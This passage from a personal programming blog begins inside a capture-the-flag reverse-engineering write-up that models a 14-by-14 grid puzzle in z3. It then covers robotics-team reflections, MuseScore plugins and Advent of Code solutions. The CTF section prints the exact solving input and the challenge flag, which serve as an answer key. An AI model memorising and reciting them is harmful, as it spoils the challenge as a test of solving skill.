for i in range(len(encoded) // 2):
    skip, char = encoded[2*i], encoded[2*i+1]   # Select pair of characters.
    chars += int(skip) * char                   # Unpack run-length atom.

assert len(chars) == 0xc4

The First and Second Guards: Move Along Now, Nothing to See Here

If the initialisation procedures are the appetiser, then the four guards are the main course.

I’ll be using the term guards and tests interchangeably. Guards are a term I’m borrowing from CS and functional programming. It’s basically an elevated if-statement.

Each guard checks if the input satisfies some condition. If the condition passes, the guard function returns 1, else 0. To get to the delicious dessert (the flag :P), we want all four functions to return 1.

Easier said than done. Let’s start with the first function and see what it decompiles into.

Here’s a more readable version:

int test1(char* input) {
    for (int start = 0; start < 196; start += 14) {
        int count = 0;
        for (int i = 0; i < 14; i++) {
            if (input[start + i] == '1')
                count++;
        }
        if (count != 3) {
            return 0;
        }
    }
    return 1;
}

Essentially, it groups input into blocks of 14 chars; then it checks if the number of '1's in each block is exactly three. If any check is false, then the function returns 0, meaning we have failed miserably.

We can easily model this symbolically in z3. We’ll first create 196 symbols, each representing one character in input. Then, we'll create a z3 solver object: this is our interface to z3’s automagical solver. Through the solver, we can add constraints, remove constraints, generate concrete values, etc.

# Create a bunch of symbols.
inputs = [z3.Int(f'g_{i}') for i in range(196)]

# Create a constraint solver object.
s = z3.Solver()

# Constrain possible input. We just care about the 1s, really.
for sym in inputs:
    s.add(z3.Or(sym == 0, sym == 1))

size = 14

# Constraint 1: row-wise constraint.
for i in range(size):
    s.add(z3.Sum(inputs[size*i:size*(i+1)]) == 3)

Our simplest constraint is our input constraint. For this program, we’ll limit our symbols to take on only 0s and 1s. Why? Because it is easy for z3 to sum integer symbols. This way, if we want to count the number of 1s in a list, we can just call z3.Sum on it.

We then add the constraints of the first guard by selecting groups of 14 elements using Python’s slice notation inputs[size*i:size*(i+1)] and constrain it to 3.

Nifty! Let’s see what the second function looks like.

This looks surprisingly similar to the first test. In fact, the only thing that really changed is the order of the loops. Observe how the first function moves along the grid in a row-major fashion, whereas the second function moves in a column-major fashion.

It may begin to dawn on you that the nested loops are hinting at a grid-like structure, a 14-by-14 2D array of characters. This realisation is pretty crucial, as it’ll help us reverse our last two functions much faster.

Let’s add these constraints to our solve script:

# Constraint 2: col-wise constraint.
for i in range(size):
    s.add(z3.Sum(inputs[i::size]) == 3)

inputs[i::size] is Python slice notation to iterate beginning from i and picking every size elements, e.g. [*range(10)][1::3] == [1, 4, 7].

Onto the next function!

The Third Guard: Please Wear Your Mask

Using our vectorised 1D representation, we can simplify the above to:

int test3(char* chars, char* input) {
    int counter[14] = {0};
    // Mask and count characters.
    for (int i = 0; i < 196; i += 1) {
        if (input[i] == '1') {
            counter[chars[i] - 'a']++;  // Increment the count of `chars[i]`.
        }
    }
    // Bad bad if a letter doesn't appear exactly thrice.
    for (int i = 0; i < 14; i++) {
        if (counter[i] != 3) {
            return 0;
        }
    }
    return 1;
}

This initialises an array of 14 integers that serve as counters. This is followed by two loops. In the first loop, we mask the input and initialised characters, then count the number occurrences of each character. In the second loop, we simply check that all counters equal 3, meaning each letter appears exactly three times in the masked string.

By “mask”, I mean something like bitwise-and, but for characters. For example, abcdefg masked with 1011001 would be a cd g, as only those four letters have 1 associated with them. Alternatively, you can think of the 0s as masks hiding letters from sight, just like how face masks hide mouths.

This is the first of the four functions which actually combines both the user input and the character grid used in initialisation. The previous two functions performed checks only on the user input, but now we begin to see how the two relate.

Also recall that the letters initialised range from a to n, and in fact n is the 14th letter of the alphabet. 14 rows, 14 columns, 14 letters, checking if everything equals 3… seems a little sus. Maybe the challenge authors are hinting at the number 42, the answer to life and everything in the universe? Is this the true reverse behind this challenge?

Anyway, let’s try to add these constraints to z3. In proper reverse fashion, instead of first checking the user input like the original function, we’ll start with the letters. We’ll collect the indices containing a letter (say 'a'), then collect all the input symbols associated with those indices, sum them, and constrain them to three.

# Constraint 3: mask constraint.
letters = 'abcdefghijklmn'
for l in letters:
    # Find all indices in chars which have letter `l`, then sum the corresponding Int symbols from `inputs`.
    indices = [i for i, c in enumerate(chars) if c == l]
    s.add(z3.Sum([inputs[i] for i in indices]) == 3)

Great! Three down, one to go.

The Fourth Guard: Wonky Jumps and Guesswork

Here's a snippet of the fourth guard:

The first half is understandable... But the rest... Hoh! What an eye sore! What’s the jump doin— I can’t even— ugnahfpwifhlqufjcjwalfhwowjrvkaufjwp.

As far as my monkey brain understands, the function iterates through every grid cell, and if it equals 1, performs some complicated check in an inner loop. At this point, I tried to understand what the inner loop was doing. Not much success. Looking at the decompiled output, keep in mind that 0xfffffff1 is only the unsigned interpretation. There is also the signed interpretation, which in this case is -15.

I then trained my eyes on the other "magic constants" in the inner loop and focused all my reverse powers by staring the numbers down. -1, -15, -14, -13, 1, 15, 14, 13. Hmm…

Ooh! Perhaps it’s checking adjacent cells orthodiagonally (i.e. orthogonal + diagonal)? If you’ve implemented a Minesweeper game before, you’ll know where I’m going :P. Indexing i - 14 would pick the cell above cell i, since each row is 14 cells wide. Similarly, i + 14 would pick the cell below. i + 15 would pick the bottom-right cell, and i - 1 would pick the left cell. Interesting!

The other complicated checks, I presume, are out-of-bound checks. For example, if we’re at i == 0 (the top-left corner), then the only adjacent cells are i + 1, i + 14, and i + 15. Anything else would go outside the array. After guessing this, I didn’t bother figuring out whether the decompiled loops actually follow this logic. ~~Terrible software engineering practice, but eh, we’re playing reverse, so might as well try it.~~

To the solver! For each symbol, we’ll add constraints saying, “If this cell is 1, its surrounding cells can’t be 1.” We’ll use z3.Implies to encode this logic. We only consider cells orthodiagonal to the current cell and within grid bounds.

# Constraint 4: check orthodiagonal adjacents.
for index, sym in enumerate(inputs):
    x = index % size
    y = index // size

    # Build list of adjacent indices. Bounds checking mania.
    orthodiag = []
    if y > 0:
        orthodiag += [-14]
        if x > 0:
            orthodiag += [-15]
        if x < size - 1:
            orthodiag += [-13]
    if y < size - 1:
        orthodiag += [14]
        if x > 0:
            orthodiag += [13]
        if x < size - 1:
            orthodiag += [15]
    if x > 0:
        orthodiag += [-1]
    if x < size - 1:
        orthodiag += [1]
    
    # If this cell is 1 --> surrounding cells can't be one.
    for od in orthodiag:
        s.add(z3.Implies(sym == 1, inputs[index + od] != 1))

And with that, we’ve defeated the four guards! Huzzah!

The Final Touch

All that’s left is to let z3 solve our constraints and generate concrete values for our symbols. We’ll push these concrete values into a payload variable and print it out.

# Construct payload.
payload = ''
m = s.model()
for sym in inputs:
    payload += str(m.eval(sym).as_long())

print(payload)
# 0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000

We obtained a z3 model from the solver by calling s.model() and evaluated our symbols to produce concrete integer 1s and 0s by calling m.eval(sym).as_long().

After feeding this to the server, we obtain the flag. Yippee!

For an “easy” challenge, I definitely spent too much time on this. I wasted some time switching between a pure z3 logic solver and a full-blown angr solver, finding out angr was taking too long, and spamming Ctrl+Z. I could’ve spent this time sleeping instead. 😕

One of the difficulties of reverse is trying to understand both the high-level aspects and low-level aspects. Sometimes skimming through the program structure helps. Other times, getting deep into the nitty-gritty aspects may help us recognise some familiar elements. This challenge was a fun little exercise to practice these two approaches.

Solve Script

Flag

Payload

0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000

Flag

DUCTF{gr1d_puzzl3s_ar3_t00_ez_r1ght?}

The HKUST Robotics Team

2022-09-21T00:00:00Z

Ah Fall... the time of year when undergrads decide what activities, societies, and extra-curriculars to join.

The purpose of this post is to reflect on and share about this experience. The first several sections provide background on my journey in the team. The final section is more reflective. Hopefully the reader finds something meaningful in this jumble of words.

Please understand that the team has a culture of keeping things secret. 🤫 So I won’t delve precisely into what I worked on. Also understand that each person experiences things differently, so don’t take my writing below as representative of the entire team and experience. Things may change in the next few years, or may have already changed.

Joining the Team 🚪

I joined the HKUST Robotics Team in my first year of university. In the Fall semester, the team would have a semester-long recruitment process, designed to filter candidates. Recruitment was separated into multiple stages:

Workshop + Interview
Mech/Hardware/Software Tutorials
Robot Design Contest (Internal Competition)

The Workshop 🔨

I found out about the team from an email about a free robotics exploration workshop. (Keyword is free.) So of course I signed up. It was a fun little experience to kickstart my university life, even though I lacked robotics experience. I thought it would be a good opportunity to explore different things while in uni.

In the workshop, we were given a chassis (like the one shown above) and were asked to build and program a bot to dribble a ping-pong ball across a maze. The workshop closed with a casual interview asking about our interests.

We were asked to pick a division (or department, as some call it): mechanical, hardware (electrical), or software engineering. Having had prior programming experience and wanting to boost my skills I decided to go with the software division.

The Training ✏️

Next up were the tutorials. The first software tutorial was on basic programming using the C language. My prior experience with C++ helped a lot here.

The next few tutorials? Not as easy. 😕 Quite challenging, in fact. We learned about GPIO and PWM, two different ways to communicate data. We also played with sensors and servos, and touched on image processing.

There was classwork and homework assigned for each tutorial. They were quite challenging, ~~and I didn’t manage to complete everything~~, but overall, the exercises were fun and good for practice.

The Internal ⚙️

Lastly, to top off the recruitment process, trainees would form groups to compete in an internal contest. The contest tries to combine elements from the different robotics subdivisions: Robocon (2v2 robots), ROV (underwater robotics¹), and Smart Car (racing). Rules are rigorous, and robots need to be carefully designed to meet the criteria and complete tasks to gain the most points.

The primary objective of the internal contest is to observe how well candidates work with others and at the same time, how well we apply the technical skills gained in the tutorial. (You may also find yourself self-learning to solve problems better.) Whether you win 1st place or not—that is secondary. Winning doesn’t guarantee you a spot in the team. Similarly, losing doesn’t guarantee you get kicked out immediately. Let this be a life lesson. :P

Unfortunately, due to the protests and temporary closure of the university, the contest was cancelled T_T and we jumped straight to peer evaluation followed by the next phase: entering subteams.

Team Freshman 🍎

Each year, the HKUST Robotics Team participates in several competitions, with a dedicated subteam for each. At the time of joining, I had to choose between the ABU Robocon, MATE ROV, and NXP Smart Car subteams. I was persuaded to join Robocon, and well—here I am now. 😐

You would’ve thought that, after the internal contest and trainee selection, the hardest part of training would be over and we could relax after. Haha, nope! We had to prepare for the upcoming Robocon 2020 competition!

During the winter break, we trainees went through more rigorous training. We were introduced to the team’s development environment, libraries, and tooling.

And guess what happened during the Spring semester? Classes shifted online! There was a period when not much work was done due to reduced manpower (e.g. international members being out of HK).

I became more involved in the summer. It was during this time that I got to know the other team members much better. I also had tons of fun playing with the LCD (display screen), messing with the buzzer, fixing bugs in the libraries, and getting more practice playing with motors and sensors.

This year’s experience was, by far, a lot different from the previous years’. For one, the regional Robocon competition was postponed thrice. Also, the global competition (originally in Fiji) was moved online, so we lost the opportunity to visit the small island. :(

More reflections can be found in my Robocon 2020 post.

From Small Fry to Big Fish 🐠

In my second year of university, I had the opportunity to take on more roles in the team, from helping in the workshop to planning the internal to teaching and mentoring.

One of my major contributions during the recruitment phase was the RDC Simulator, a desktop app for juniors to program a robot on a 2D field during the internal competition.

Unlike before, this year’s recruitment (2020 Fall) was completely online. This meant we had to find online alternatives for our tutorials, exercises, and internal competition. Of all three divisions, the software division suffered the least (no surprise). The mechanical division, on the other hand, had a hard time training and assessing trainees.

Once recruitment was over, it was time to prepare for the Robocon 2021 competition. Fortunately, the lab was open even though courses were still online.

Mentoring is tough, but rewarding. There is the urge to stay ahead of the juniors, being able to answer their questions and deciding whether the ideas/solutions they come up are feasible and effective.

More reflections can be found in my Robocon 2021 post.

Nowadays, my role is more passive—I monitor the team, provide training, and offer guidance.

Personal Improvement/Development 🚀

In robotics and control theory, PID is one of the core elements contributing to stable motors, mechanisms, and machinery. How does a heater know when to start/stop heating? PID. How does a drone know how fast to spin its motors to hover midair? PID.

PID stands for proportional, integral, and derivative—rather mathy terms, and quite so, because that’s how PID controls are computed.

But this post is supposed to be a reflection, so why am I blabbering about PID? It’s because there is another PID I’d like to draw attention to (and to the computer geeks, no, I don’t mean Process ID :P). I’m referring to personal improvement/development, ~~which is something I sort of made up, so don’t be surprised if searching “PID personal development” doesn’t yield any results~~.

Through the robotics team experience, one of my biggest areas of growth is in soft skills, in particular communication and mentoring. Communicating in a group project for a course almost always seems superficial and is usually short-term.

You would be forgiven to think, oh what makes it different from other team activities or group projects. In Robocon, it’s different. We’re stuck with our teammates for half a year—maybe more. There's lots of room for bondage and growth. It takes skill to decide when and how to reprimand someone, and patience to mentor.

Communication between divisions is also important. The best way to kill a team is to minimise communication. Of course, communication needs to be effective and should be followed up with action. In the end, it’s about becoming better humans in society.

I’ve mentioned this in some other posts, but I am quite terrible when it comes to dealing with people. I’ve learned a great deal over the past couple years, and I’m still learning—it’s a process.

Footnotes

It's hard to incorporate underwater robotics into an internal game, so they usually settle on combining the business aspects, i.e. presentations. ↩︎

MuseScore Navigation Plugins

2022-09-10T00:00:00Z

MuseScore, a music notation desktop application, allows mini-extensions through its QML Plugins. MuseScore is built with the Qt framework and leverages the QML ecosystem for rapid prototyping and user-developed plugins.

QML is a fun language to work with. Generally, the UI is coded in a declarative style and the logic is coded in JavaScript. This, of course, has the downside of losing the static type-checking of C++; so I would often be in the situation where I need to reload and fix things several times before getting it functioning properly.

But the freedom and “I don’t care whether your types are correct” attitude of JS were quite nostalgic. Having played with QML/JS before, I decided I wanted to write some MuseScore plugins for fun ~~and also because I felt a need for them~~.

In this post, I’ll introduce my first set of MuseScore plugins and give a brief developer’s account of them. These plugins aren’t really related to music. Rather, they’re inspired by VSCode plugins and features which I find useful. In a way, the plugins below make MuseScore more of a developer’s second home.

todo-list

An update has been published for MuseScore 4.1+. Please refer to the new release.

View the project on: MuseScore / GitHub.

In software development, to-dos are commonly added into source code as reminders to the poor developers toiling away writing code. To-dos come in many forms: bugs to be fixed, issues to be resolved, feature requests, etc.

Sometimes when composing, I find myself lost in a sea of to-dos. During a composing session, I might drop a to-do note to follow-up on it next time.

Here are some examples of to-dos I might encounter while composing:

TODO: Explore different chord progressions for this transition.
TODO: More brass to this section.
FIXME: Playback sounds wonky.
TODO: Revise counterpoint.
TODO: Add bowing articulation to strings.

To allow for different to-do styles and text, I provided several settings for the user to modify. These are listed in on the GitHub readme.

Developer’s Note

This plugin is inspired by the todo-tree plugin in VSCode, which searches files in the current workspace for TODOs/FIXMEs and lists them in a tree view. I toyed with idea of replicating this on MuseScore—listing to-dos on all open scores—but eventually decided to embrace the KISS principle and just list to-dos for the current score.

When starting, I took reference of jeetee’s annotation plugin. I noticed jeetee used Qt Quick Controls 1.0 instead of 2.0 used in some other plugins. Apparently, QML had made some drastic changes to the styling of controls (buttons, checkboxes, etc.). In 1.0, controls used the native style (e.g. Apple’s aqua style for macs). On the other hand, 2.0 controls require developers to customise styling; this may sound great for design flexibility, but in my experience it’s annoying to get it working with both light and dark themes.

^{Qt Quick Controls 1.0 vs 2.0. The latter comes with barely any default and takes more effort to properly set up.}

Implementation-wise, the todo-list plugin aims to be self-contained and simple. Self-contained, meaning that everything is in a single .qml file, so that the user doesn’t need to bother with structure too much. Simple, meaning that it doesn’t store too much metadata. The plugin only stores the configuration options mentioned above. I avoid storing data such as measure and staff—which are alike the x and y position in a score—because things get messy when the stored to-do is displaced, e.g. when a user inserts a bunch of measures or removes an instrument.

Even though I’ve used Qt before, I was still surprised with how easy it was to set up a form dialog to configure user settings. Just slap together a Dialog, GridLayout, several Labels and TextFields, code the logic, and violà—we have our settings dialog.

History

View the project on: MuseScore / GitHub.

This plugin keeps track of where your cursor has been so that you can easily jump back and forth between different points in time (effectively making you a time traveller!).

When programming in an IDE, it is sometimes necessary to jump to a different part of code, then jump back to where you were before. For example, you might want to check the implementation of a certain function.

Similarly, when editing a score one might wish to visit a section, perhaps copy something, then return to their previous position.

The History module comprises three separate plugins:

Go Back,
Go Forward, and
the UI.

The first two are action plugins—plugins without any visual component, and just run—whereas the third contains a simple UI. The need for a UI makes the module slightly inflexible for reasons explained below.

Developer’s Note

There are some limitations to this module, the root cause being the limited MuseScore plugin API.

For the plugins to work properly, the UI plugin must be activated at all times. This plugin is responsible for recording cursor positions, since MuseScore does not provide a way for plugins to record score/cursor information in the background. We could start a subprocess, keylog user input, and interpret it to determine where the cursor currently is… but this is of course out of the question, it’s much too tedious and not worth the effort.

Another drawback is that plugins can’t jump across scores. This is very convenient in IDEs when you have several files open and want to quickly check/copy something from a different file. In MuseScore however, this simply isn’t possible (as far as I could see). So for now, we’ll have to be content with keeping cursor history isolated within each score.

Bookmarks

View the project on: MuseScore / GitHub.

Marks down a section, saving it so that you can easily return to it later without the pain of scrolling.

This is really useful for large scores, where scrolling from front to middle to end can be pain. An existing built-in way to jump around sections is to use rehearsal marks plus MuseScore's timeline. However, I find this insufficient since a rehearsal mark only carries horizontal positioning info (measures), but not vertical positioning info (staffs).

The Bookmarks module comprises four plugins:

Go to Previous Bookmark,
Go to Next Bookmark,
Toggle Bookmark at Cursor, and
Clear All Bookmarks.

All of these are action plugins, so in my mind they’re fairly simple and straightforward.

Developer’s Note

This module was inspired by the VSCode bookmarks plugin. In VSCode, bookmarks allowed you to jump between bookmarks across files and long stretches of code. Sadly alike History, Bookmarks doesn’t jump across files.

Something else to note—and this applies to all my plugins here: currently, I use a rather hacky method to jump to the selected notes:

cmd("note-input")
cmd("note-input")

We call the command twice to toggle between the two different modes (default and note-input).

However, when jumping to a specific measure + staff, MuseScore will scroll to the correct measure, but not the staff. Logic-wise, nothing is affected since the correct measure + staff are selected. The problem is just a UI issue which the MuseScore Plugins API doesn’t have a solution for. 😢

For History and Bookmark, I decided to use separate JS files to hold all the logic. This promotes code reuse. For example, both History: Go Back and History: Go Forward use the same underlying function to iterate across the score.

I tried commenting my code cleanly, in case I need to come back to it later; I’m quite forgetful.

JavaScript’s lack of type checking really irks me. I’m toying with the idea of using TypeScript and compiling the file to JavaScript for testing. I’ve already set up a MakeFile for packaging (zipping) the files anyway, so might as well add a rule that compiles .ts into .js and gain type safety.

Epilogue

If you’ve read this far, then you’re probably aware that these plugins aren’t perfect. But most of these issues can't be trivially fixed due to limitations with the Plugin API.

In my development roadmap, I’ve planned several new (music-related!) plugins. As MuseScore 4 is coming out, I’ll also need to plan the maintenance of the above plugins.

If you’re interested in using the plugins or contributing, you can check the MuseScore or GitHub links below.

To-Do List: MuseScore / GitHub.

History + Bookmarks: MuseScore / GitHub.

Thanks for reading, and happy musing!

Space Penguin

2022-08-26T00:00:00Z

Dedicated to everyone feeling stressed, down, lost, or under the weather.

As we all know, penguins are great swimmers. Sadly however they can't fly (or so we think!). But as the "Learn to Fly" game series teaches us, with enough dedication, penguins can indeed fly. And with each attempt they reach higher altitudes, even if simply done using a tiny booster rocket.

Hopefully this little piece may be a booster rocket for you.

AOC 2021 Day 24 – No U

2022-08-25T00:00:00Z

This post is a writeup on solving the Advent of Code 2021 Day 24 challenge: Arithmetic Logic Unit.

The Problem

At first glance, I thought it was something similar to the intcode problems from two years ago. After a more thorough read, it turns out this is a completely different problem. To my surprise, the day 24 challenge actually resembles the reverse engineering found in some capture the flag competitions!

To summarise the challenge, we're given a list of assembly-like instructions like so:

inp w
add z w
mod z 2
div w 2

Our submarine's arithmetic logic unit (ALU) has four registers: w, x, y, and z.

There are six different types of instructions in total:

inp a reads the leftmost digit from input into register a (if the input is 123, inp w will store 1 in w),
add a b adds register a with register/value b,
mul a b multiplies register a by register/value b,
div a b divides register a by register/value b (integer division—i.e. divide + truncate—is performed, so div 10 3 is 3 and div -5 2 is -2),
mod a b takes the remainder of dividing register a by register/value b, and
eql a b evaluates to 1 if a equals b, and 0 otherwise.

You may notice that there are no jump instructions, so the ALU program is quite literally straightforward. We just need to run each instruction once until we hit the end.

Given the ALU program, we need to find the maximum (part 1) and minimum (part 2) ALU input which will cause the program to terminate with a 0 in register z. The ALU input is constrained to 14-digit integers, and all digits are non-zero.

Solving

In the midst of reading the challenge, I had already decided on the tool to use. Z3!

Z3 is a logic programming engine (theorem prover, actually) developed by Microsoft Research. It's pretty useful for working with symbols and constraints and more importantly, deriving possible solutions for said symbols. For example, say we want to know what are the solutions of $x^2 = x$. Z3 can solve this for us:

import z3
x = z3.Int('x')             # Create a symbol.
z3.solve(x*x == x)          # Tell Z3 to solve for x.
[x = 1]                     # Z3 found a solution!
z3.solve(x*x == x, x != 1)  # Any other solutions?
[x = 0]                     # uwu

Initially, since I wanted to stick to my resolution of using Haskell or Rust, I tried looking for Z3 bindings for either language. They do exist. But they seem annoying to wrestle with.

So I decided to make an exception... just for this day... I'll use Python.

(I might return to write a Haskell/Rust Z3 solution later.)

Sokath, his eyes uncovered!

In my experience, whenever starting a reverse challenge and given some assembly, it's useful to start by analysing the control flow of the assembly and look for patterns. Well, the ALU program has ~~super simple~~ barely any control flow, every single instruction will run one after another.

Now if we were given actual binaries, we would be able to throw them into a decompiler and get a control flow graph. But since the ALU instructions here are contrived, I decided not to bother and go with the fallback method of analysis:

STARING AT THE ASSEMBLY.

Here are the first 40 lines (out of 252) of the given ALU program. Now stare with me.

inp w
mul x 0
add x z
mod x 26
div z 1
add x 13
eql x w
eql x 0
mul y 0
add y 25
mul y x
add y 1
mul z y
mul y 0
add y w
add y 8
mul y x
add z y
inp w
mul x 0
add x z
mod x 26
div z 1
add x 12
eql x w
eql x 0
mul y 0
add y 25
mul y x
add y 1
mul z y
mul y 0
add y w
add y 16
mul y x
add z y
inp w
mul x 0
add x z
mod x 26
[...]

^{(You can view the full ALU program I was given here.)}

Done staring? I find that it also helps to add annotations on the right of the assembly.

inp w           ; Read input.
mul x 0         ; x = 0
add x z         ; x = z
mod x 26        ; x = z % 26
div z 1         ; z = z???
add x 13        ; x += 13

After enough staring, your eyes will be uncovered. Or exhausted. Or perhaps both.

Here were my observations:

There are 14 repeated blocks. One block handling each digit from input.
Blocks are demarcated with an opening inp w.
Each block contains 18 instructions.
There are only three differences across each block:
- Instruction 5: div z D, where D is either 1 or 26.
- Instruction 6: add x A, where A can be any integer (negatives also appear!).
- Instruction 16: add y B, where B can be any integer (seems like only non-negatives here).
The other 15 instructions are the same in each block.
Between each block, only the value of z is propagated. w, x, and y are all local within a block.
We can simplify each iteration to the following expression:
- For each input digit I,
  - x = (I != (z % 26 + A)).
  - If x, then
    - z = (z / D) * 26 + I + B.
  - Else,
    - z = z / D.

Nifty!

This is really all the intelligence we need. The rest is just hacking together the solution with the Z3 API.

Snoring with ZZZ

Firstly, we read our file and gather our intelligence like a shepherd gathering their flock or a mother hen gathering her chicks.

with open(file) as f:
    instrs = [l.strip().split() for l in f.read().splitlines()]

n = 14  # Number of digits.
block = 18

# Gather the "magic numbers" from the ALU program.
addx = []
addy = []
divz = []
for i in range(n):
    divz.append(int(instrs[i*block + 4][-1]))
    addx.append(int(instrs[i*block + 5][-1]))
    addy.append(int(instrs[i*block + 15][-1]))

Since all the numbers are at the end of the line, it's sufficient to split each line by whitespace, index the last token, and convert it to an int.

Next, we'll start doing our Z3 things. We'll define one symbol for each digit, and constrain each symbol to non-zero digits.

# Make input ints.
inp = [z3.Int(f'inp_{x}') for x in range(n)]

# Create a Z3 solver.
s = z3.Optimize()

# Constrain input to non-zero digits.
s.add(*[1 <= i for i in inp], *[i <= 9 for i in inp])

We use a special Z3 Optimize solver. This provides .maximize and .minimize methods which will be useful for tackling parts 1 and 2 respectively.

We then implement the iteration logic and add constraints. To keep things clear (and since I'm not too sure how modifying Z3 symbols work), I used a separate z symbol (zs[i]) for each iteration.

# Chain constraints. Each iteration will have a separate z variable.
# The constraints added will connect z[i+1] to z[i].
zs = [z3.Int(f'z_{i}') for i in range(n + 1)]
s.add(zs[0] == 0)
for i in range(n):
    x = inp[i] != (zs[i] % 26 + addx[i])
    s.add(zs[i+1] == z3.If(x, (zs[i] / divz[i]) * 26 + inp[i] + addy[i],
                              zs[i] / divz[i]))

s.add(zs[-1] == 0) # Victory constraint.

Finally, we chain together the symbol we want to maximise/minimise (which is our ALU input), then we call the respective .maximise/.minimise functions.

# Construct full input to optimise (with place value).
full_inp = reduce(lambda acc, x: acc*10 + x, inp, 0)

def get_inp(model):
    return ''.join(str(model[i]) for i in inp)

# Part 1.
s.push()
s.maximize(full_inp)
s.check()
part1 = get_inp(s.model())
print('part1:', part1)
s.pop()

# Part 2.
s.push()
s.minimize(full_inp)
s.check()
part2 = get_inp(s.model())
print('part2:', part2)
s.pop()

Here, I used s.push() and s.pop() to create a sort of "scope". Without the "scopes", .maximise and .minimise work a bit weirdly in that once I call the first, the second will still return the same .maximised number.

And that's pretty much it. On my laptop, it spits out both solutions within half a minute. I would've hoped for better, but eh, at least it's much faster—both coding-wise and runtime-wise—than a brute force scan.

Full Script

For completeness, here's the full d24.py script.

AOC 2021 Day 16 – Parser Combinator Fun

2022-08-23T00:00:00Z

This post is a writeup on solving the Advent of Code 2021 Day 16 challenge: Packet Decoder.

The Problem

We're given as input a string of hexadecimal characters (0 to F). Our mission? To translate those characters into an expression of packets (part 1) and to then evaluate it (part 2).

Before diving into code, we should first understand the format of the packets, what exactly we need to parse, and what we're looking for. The majority of this section is just me trying to summarise the problem without all the fluff. I'll skip over some things, but if you're confused, just read the full explanation on AOC.

To start off, we're given a bunch of hex characters:

D2FE28

To decode the packets, we first need to translate each character into binary (1s and 0s). The above hex string translates to:

110100101111111000101000

We can now begin parsing packets. There are two kinds of packets: literals and operators. There is also the notion of sub-packets, meaning a packet can be a child of another packet.

Literals. The format of literal packets is VVVTTT[AAAAA]+
- VVV: 3 bits for the version number.
- TTT: 3 bits for the packet's type ID. A literal packet will always have type ID 4. Any other type ID is an operator.
- [AAAAA]+: at least one group of 5 bits. The last group will start with a 1.
Operands. There are two types of operand packets, I'll just call them length-based operand packets and count-based operand packets.
- Length-based operands have format VVVTTTIL{15}....
  - VVV: as before, these are the 3 bits of version number.
  - TTT: 3 bits of type ID.
  - I: the length type ID. For length-based operands, this is 0.
  - L{15}: 15 bits indicating that the next L{15} (decimal) bits are sub-packets.
- Count-based operands follow VVVTTTIL{11}....
  - VVV, TTT: ditto.
  - I: the length type ID. For count-based operands, this is 1.
  - L{11}: 11 bits indicating the number (or count) of sub-packets.

(See the AOC explanation for examples.)

Our input would be provided as a single large packet, containing many subpackets (and subpackets within subpackets, etc.). For part 1, we need to sum the version numbers of all packets. For part 2, we need to evaluate the expression of packets. Operand packets have different operations, determined by their type ID.

Solving

If I were using C++, I might try using bit-fields, some std::bit_cast/std::reinterpret_cast magic, and a couple classes plus inheritance. Sticking to my resolve to use Haskell or Rust, I decided to use parser combinators.

The template I'm using allows me to solve a challenge by writing three functions:

parse :: Parser Packet,
part1 :: Packet -> Int, and
part2 :: Packet -> Int.

These will be covered in this post. The driver code of the template (defaultMain) is elaborated in my Haskell utilities post.

Parsing

We'll cover the parse function first, and move towards part1 and part2.

parse :: String -> Packet
parse = subparse packet . concatMap (\hex -> read $ toBinary $ "0x" ++ [hex])
 where
  toBinary n = printf "%04s" (showIntAtBase 2 ("01" !!) n "")

subparse :: Parser a -> String -> a
subparse p s = case runParser (p <* many (char '0')) "" s of
  Right res -> res
  Left  err -> trace (errorBundlePretty err) undefined

parse takes a hex string, converts it to a binary string and parses it into a packet. The subparse helper takes a parser and the binary as input string and runs the parser (leaving out any leftover '0's). We'll reuse subparse with some differences later on, hence the reason we give it a generic type.

runParser returns an Either type. In this case, it means that it either returns a Right case (denoting success) or Left case (denoting failure).

Data Types

Let's first define the structure of the data we're working with. With Haskell, we can easily define algebraic data types (ADTs) like so:

data Packet = Packet Int Int PacketObj deriving Show
data PacketObj = Literal Int | Operands [Packet] deriving Show

Each Packet takes 2 Ints (the version and type ID), followed by a PacketObj.
The PacketObj can be an Int Literal...
or it could be an operand with a list of packets ([Packet]).

The data types are like a cornerstone to building our foundation. Without it, we become a bit lost when writing the algorithm. By writing our data types beforehand, we get a concrete idea of how the data is structured and partition, and what we need to do to get from ~~point~~ data A to ~~point~~ data B.

One of the key points in these Packet data structures is that a Packet is a recursive type/object. This allows us the flexibility of recursion (as we'll see later in the part1 and part2 solutions).

Parser Combinators

Usually when parsing text, the traditional solution is to use regex. The problem with regex, however, is that we don't get type information until after compiling, matching, and some extra parsing. Parser combinators are stronger in this regard, being composable and flexible while at the same time providing type information.

Type information may sound a little overrated, but typing is quite useful for catching errors at compile-time and solidifying program logic without being sniped by a RuntimeError later.

We can begin by writing the combinator that will consume n bits.

bits :: Int -> Parser String
bits n = count n digitChar

The bits function takes an integer n and returns a Parser String that consumes that many digitChars. count and digitChar are functions from the parsec library I'm using. bits doesn't exactly consume bits but rather digits (0-9). However, we'll assume that it is fed only bits.

Let's also define a function to convert from a binary string to a decimal (base-10) integer.

fromBinary :: String -> Int
fromBinary = foldl' (\acc d -> 2 * acc + digitToInt d) 0

We can then compose fromBinary with the bits parser to parse numbers and convert numbers.

Decoding Literal Packets

Let's use our helper functions to write a parser for literal packets:

packet :: Parser Packet
packet = do
  version <- fromBinary <$> bits 3
  typeID  <- fromBinary <$> bits 3
  if typeID == 4
    then do
      bs <- collectWhile (bits 5) $ \(b : _) -> b == '1'
      return $ Packet version typeID $ Literal $ fromBinary $ concatMap (drop 1) bs
    else do
      {- -- code for operand packets --  -}
 where
  collectWhile p f = do -- Parse while condition is true.
    x <- p
    if f x then (x :) <$> collectWhile p f else return [x]

Hopefully the majority of the code above is readable.

We first parse 3 bits of version and convert it to a decimal Int.
Then 3 bits of type ID and also convert to a decimal Int.
Next, we check the packet's typeID. If it's 4, then it's a literal packet.
We then try parsing the PacketObj for literal packets: keep parsing groups of 5 bits until the group starts with a '1'.
Now we have a list of 5-bit groups stored in bs.
The next line goes through the process of converting the bits into a single Int and wrapping it as a Packet type.
The explanation for collectWhile... is left as an exercise for the reader.

Hoof- That was quite long-winded. But you can see how type information is being passed around. version and typeID are Ints, because we parsed them from binary strings. We can now do Inty things with them, e.g. comparison, just like typeID == 4 in the code above.

